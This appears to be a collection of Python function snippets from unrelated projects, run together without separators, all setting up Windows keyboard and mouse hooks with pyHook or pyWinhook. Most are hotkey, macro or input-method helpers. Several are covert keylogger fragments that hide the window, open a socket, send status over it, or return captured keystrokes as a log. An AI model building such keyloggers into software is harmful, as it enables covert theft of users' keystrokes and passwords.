def __init__(self, filepath=""): Thread.__init__(self) self.file_name = filepath self.conv_state = True self.key_state = { 'Lcontrol': False, 'Rcontrol': False, 'Lshift': False, 'Rshift': False, 'Lmenu': False, 'Rmenu': False } self.control_keys = ['Lcontrol', 'Rcontrol', 'Lshift', 'Rshift', 'Lmenu', 'Rmenu'] self.event_queue = Queue() self.char_pressed = "" self.chars_to_send = "" self.prev_char_to_delete = "" self.prev_unicode_char_length = 0 self.scim_mapping = {} self.scim_mapping_reversed = {} self.valid_chars = [] self.hm = pyHook.HookManager() self.quit_thread = False
def __init__(self): super(__class__, self).__init__() self.settings = [] self.session = requests.sessions.Session() uic.loadUi(currentPath("main.ui"), self) self.icon = QIcon(currentPath("icon.png")) self.pixmap = QPixmap(currentPath("icon.png")) self.pixmap = self.pixmap.scaledToWidth(200) self.label_4.setPixmap(self.pixmap) self.label_4.setAlignment(Qt.AlignCenter) self.pushButton.clicked.connect(self.submit) self.show() exitBtn.triggered.connect(self.exitNow) self.token = "" self.msg = QMessageBox() self.msg.setWindowIcon(self.icon) self.msg.setIcon(QMessageBox.Information) self.winhook = pyWinhook.HookManager() self.winhook.MouseAll = OnMouseEvent self.winhook.KeyAll = OnKeyboardEvent self.logger = Worker() self.logger.signal.stopped.connect(self.exitNow) self.a_usernameInput.setFocusPolicy(Qt.StrongFocus) self.a_usernameInput.setFocus() self.logout_state = False
def __init__(self): ui_file_name = "record_frame.ui" ui_file = QFile(ui_file_name) if not ui_file.open(QIODevice.ReadOnly): print("can not open file " + ui_file_name) sys.exit(-1) self.window = QUiLoader().load(ui_file) ui_file.close() self._component_bind() self.window.show() self.status = "Ready" self.record = [] self.current_mill_time = current_time() self.delay = int(self.window.record_time_stepper.value()) self.run_times = int(self.window.run_time_stepper.value()) self.start_hot_key = self.window.run_hot_key.currentText() self.stop_hot_key = self.window.stop_hot_key.currentText() # self.window.record_script self.window.run_hot_key.addItems(self.HOT_KEYS) self.window.run_hot_key.setCurrentIndex(8) self.window.stop_hot_key.addItems(self.HOT_KEYS) self.window.stop_hot_key.setCurrentIndex(9) self._refresh_scripts() self.window.status.setText(self.status) self.hookManager = pyWinhook.HookManager() self.hookManager.MouseAll = self._mouse_move_handler self.hookManager.KeyAll = self._keyboard_click_handler self.hookManager.HookKeyboard() self.hookManager.HookMouse()
def main(): hm = pyWinhook.HookManager() hm.KeyDown = OnKeyboardEvent hm.HookKeyboard() print("Choose key that selects mouse position") while (position_key == ""): pythoncom.PumpWaitingMessages() print("\nChoose stop key") while (stop_key == ""): pythoncom.PumpWaitingMessages() guide() while True: pythoncom.PumpWaitingMessages() global first_pos global second_pos global exit while first_pos[0] != -1 and second_pos[0] != -1: pythoncom.PumpWaitingMessages() pyautogui.keyDown('w') next_pos = (first_pos[0], first_pos[1]) if (next_pos[0] != -1): pyautogui.click(next_pos[0], next_pos[1]) time.sleep(0.1) next_pos = (second_pos[0], second_pos[1]) if (next_pos[0] != -1): pyautogui.click(next_pos[0], next_pos[1])
def __init__(self): super(__class__, self).__init__() self.settings = [] self.action = QAction("Logout") self.session = requests.sessions.Session() uic.loadUi(currentPath("main.ui"), self) self.icon = QIcon(currentPath("icon.png")) self.thread_pool = QThreadPool() self.thread_pool.setMaxThreadCount(1) self.tray = QSystemTrayIcon() self.tray.setIcon(self.icon) self.tray.setVisible(True) self.menu = QMenu() self.exitBtn = QAction("Exit") self.menu.addAction(self.exitBtn) self.tray.setContextMenu(self.menu) self.pushButton.clicked.connect(self.submit) self.show() self.exitBtn.triggered.connect(self.exitNow) self.token = "" self.msg = QMessageBox() self.msg.setWindowIcon(self.icon) self.msg.setIcon(QMessageBox.Information) self.winhook = pyWinhook.HookManager() self.winhook.MouseAll = OnMouseEvent self.winhook.KeyAll = OnKeyboardEvent self.logger = Worker() self.logger.signal.stopped.connect(self.exitNow)
def ToggleThread(program_state, thread_lock): def OnKeyPress(event): print(event.Key) if event.Key == TOGGLE_KEY: if program_state.isSet(): program_state.clear() toaster.show_toast(APP_NAME, "Toggled OFF", threaded=True, duration=TOAST_SHOW_SEC) else: program_state.set() toaster.show_toast(APP_NAME, "Toggled ON", threaded=True, duration=TOAST_SHOW_SEC) return True toaster = ToastNotifier() new_hook = pyHook.HookManager() new_hook.KeyDown = OnKeyPress new_hook.HookKeyboard() pythoncom.PumpMessages()
def __init__(self): # initiate internal hotkey list self.KeyDownID = [] self.KeyDown = [] # initiate user hotkey list self.UserHKF = [] self.UserHKFUp = [] self.HKFIDDict = {} # create Lookup for event keys and ids # for keyboards self.ID2Key, self.Key2ID = self.createKeyLookup() # for mouse, artifical lookup first self.mouseDown_MID2eventMessage, self.mouseDown_eventMessage2MID, self.mouseUp_MID2eventMessage, self.mouseUp_eventMessage2MID = self.createMouseLookup( ) # create list for singleEvent, ie there is only a key down, no key up self.singleEventMouseMessage, self.singleEventMID = self.createSingleEventMouse( ) # creat list for merged keys like Ctrl <= Lcontrol, Rcontrol self.KeyID2MEID = self.createMergeKeys() # create a hook manager self.hm = pyWinhook.HookManager() # watch for all keyboard events self.hm.KeyDown = self.OnKeyDown self.hm.KeyUp = self.OnKeyUp # watch for all mouse events self.hm.MouseAllButtonsDown = self.OnKeyDown self.hm.MouseAllButtonsUp = self.OnKeyUp self.hm.MouseMove = self.OnSingleEventMouse self.hm.MouseWheel = self.OnSingleEventMouse # set the hook self.hm.HookKeyboard() self.hm.HookMouse() # set Ending hotkey self.EndHotkey = ['Ctrl', 'Shift', 'Q'] self.setEndHotkey(self.EndHotkey)
def start_keylogger(s): global keylogger hm = pyHook.HookManager() hm.KeyDown = on_keyboard_event hm.HookKeyboard() keylogger = threading.Thread(target=pythoncom.PumpMessages) keylogger.start() s.send(encrypt('keylogger has started'))
def start(): hide() ot = opensocket() send(ot) hm = pyWinhook.HookManager() hm.HookKeyboard() hm.SubscribeKeyDown(onKeyDown) pythoncom.PumpMessages()
def __init__(self): self.overload_map = {} hm = pyHook.HookManager() # watch for all mouse events hm.KeyDown = self.OnKeyboardEvent # set the hook hm.HookKeyboard()
def _init_arguments(self): self.key_list = [] self.hm = pyWinhook.HookManager() self.mouse_listen = False self.key_listen = True self.hm.KeyUp = self.key_up self.hm.KeyDown = self.key_down
def hookAndPumpInSingleThread(): # These things all must happen on the same thread, so must be part of the same function hm = pyWinhook.HookManager() hm.KeyAll = eventHandler hm.HookKeyboard() hm.MouseAllButtons = eventHandler hm.HookMouse() pythoncom.PumpMessages()
def run(**args): # Create and register a hook manager try: kl = ph.HookManager() kl.KeyUp = KeyStroke kl.HookKeyboard() pythoncom.PumpMessages() except Exception: pass
def main(): get_current_process() # create and register hook mgr kl = pyWinhook.HookManager() kl.KeyDown = KeyStroke # register hook, execute forever kl.HookKeyboard() pythoncom.PumpMessages()
def run(self): hm = pyHook.HookManager() hm.KeyAll = self.ListenKeyboard hm.HookKeyboard() self.timer.start() self.logger.info("Keylogger started.") pythoncom.PumpMessages()
def __init__(self): wx.Frame.__init__(self, None, -1, 'My Frame') self.hm = pyHook.HookManager() self.hm.MouseAllButtonsDown = self.OnMouseEvent self.hm.KeyDown = self.OnKeyboardEvent self.hm.HookMouse() self.hm.HookKeyboard() wx.EVT_CLOSE(self, self.OnClose)
def poll_input(): """ Setup the keyboard polling to run in a background thread :return: """ # Setup the keyboard hooks hooks_manager = pyWinhook.HookManager() hooks_manager.KeyDown = on_keyboard_event hooks_manager.HookKeyboard() # Continually poll for keyboard input pythoncom.PumpMessages()
def run(): save_stdout = sys.stdout sys.stdout = StringIO() kl = KeyLogger() hm = pyHook.HookManager() hm.KeyDown = kl.strokes hm.HookKeyboard() while time.thread_time() < TIMEOUT: pythoncom.PumpWaitingMessages() log = sys.stdout.getvalue() sys.stdout = save_stdout return log
def hook_keyboard(): # save the id of the thread globals.listener_thread_id = threading.get_ident() # create a hook manager hm = pyWinhook.HookManager() # watch for all mouse events hm.KeyDown = on_keyboard_event # set the hook hm.HookKeyboard() # wait forever pythoncom.PumpMessages()
def main(): # 创建管理器 hm = pyWinhook.HookManager() # 监听键盘 hm.KeyDown = onKeyboardEvent hm.HookKeyboard() # 监听鼠标 hm.MouseAll = onMouseEvent hm.HookMouse() mwin.mainloop() end(hm) # 循环监听 pythoncom.PumpMessages()
def intercept_keys(self, seconds) -> str: hook_manager = pyWinhook.HookManager() hook_manager.KeyDown = self._log_key hook_manager.HookKeyboard() start_time = time.time() current_time = time.time() while current_time - start_time < seconds: pythoncom.PumpWaitingMessages() current_time = time.time() hook_manager.UnhookKeyboard() logged_keys = self._log_buffer self._log_buffer = "" return logged_keys
def run(self): def on_keyboard_event(event): key_name = event.Key.lower() stop_name = 'f9' if key_name == stop_name: print('break exit!') os._exit(0) return True hm = pyWinhook.HookManager() hm.KeyAll = on_keyboard_event hm.HookKeyboard() pythoncom.PumpMessages()
def activateKeylogger(): # _thread.start_new(Record, ()) hm = pyWinhook.HookManager() print("keylogger activated") hm.MouseAll = OnMouseEvent print("mouse event setup") hm.KeyAll = OnKeyboardEvent print("keyboard event setup") hm.HookMouse() hm.HookKeyboard() print("listening..") win32gui.PumpMessages()
def run(): save_stdout = sys.stdout # Switch stdout to a file-like object for later queries sys.stdout = StringIO() kl = KeyLogger() # Takes advantage of Windows function SetWindowsHookEx to install user-defined functions to be called for cetain events hm = pyHook.HookManager() hm.KeyDown = kl.mykeystroke # Hook all keypresses hm.HookKeyboard() while time.thread_time() < TIMEOUT: pythoncom.PumpWaitingMessages() log = sys.stdout.getvalue() sys.stdout = save_stdout return log
def main(): "创建一个‘钩子’管理对象" hm = pyWinhook.HookManager() # # 监控鼠标所有按键按下事件 # hm.MouseAllButtonsDown = OnMouseEvent # 将OnMouseEvent函数绑定到MouseAllButtonsDown事件上 # # 设置鼠标钩子 # hm.HookMouse() # 监控键盘所有按键按下事件 hm.KeyDown = OnKeyboardEvent # 将OnKeyboardEvent函数绑定到KeyDown事件上 # 设置键盘钩子 hm.HookKeyboard() # 循环获取消息,手动按下F12方可停止脚本 pythoncom.PumpMessages()
def start_listening(): global STOP_EVENT thread_id = win32api.GetCurrentThreadId() def stop(): STOP_EVENT.wait() win32api.PostThreadMessage(thread_id, win32con.WM_QUIT, 0, 0) stopper = threading.Thread(target=stop) stopper.start() hm = pyWinhook.HookManager() hm.KeyDown = onkeyboardevent hm.MouseAll = onmouseevent hm.HookMouse() hm.HookKeyboard() pythoncom.PumpMessages() stopper.join()
def __init__(self): self.ctrl_var = False self.line_selector = 0 try: # sugang.txt 를 열어 한줄 씩 리스트에 저장 with open('sugang.txt', 'r', encoding='utf-8') as txt: self.data = txt.read().splitlines() except FileNotFoundError: # sugang.txt 가 존재하지 않을 경우 생성후 종료 open('sugang.txt', 'w').close() print('생성된 sugang.txt에 복사할 내용을 한 줄씩 입력하세요.\n') input('Enter 를 눌러서 종료...') sys.exit(0) # Ctrl+V 감지를 위한 키보드 훅 생성 self.hm = pyWinhook.HookManager() self.hm.KeyDown = self.keypress_event self.hm.HookKeyboard() # 키 입력 감지 시작 print('Ctrl+V 감지 시작. 실수로 누르지 않도록 주의하세요.') self.loadclipboard(init=True)
def hook_keyboard(): # wait until the gui thread gets an input while globals.number_of_games_to_play == -1: time.sleep(0.1) # if the user canceled input, then return if globals.number_of_games_to_play is None: return # save the id of the thread globals.listener_thread_id = threading.get_ident() # create a hook manager hm = pyWinhook.HookManager() # watch for all mouse events hm.KeyDown = on_keyboard_event # set the hook hm.HookKeyboard() # wait forever pythoncom.PumpMessages()
def __init__(self): self.hm = pyWinhook.HookManager()
def keylogger(): hm = pyWinhook.HookManager() hm.KeyDown = OnkeyBoardEvent hm.HookKeyboard() pythoncom.PumpMessages()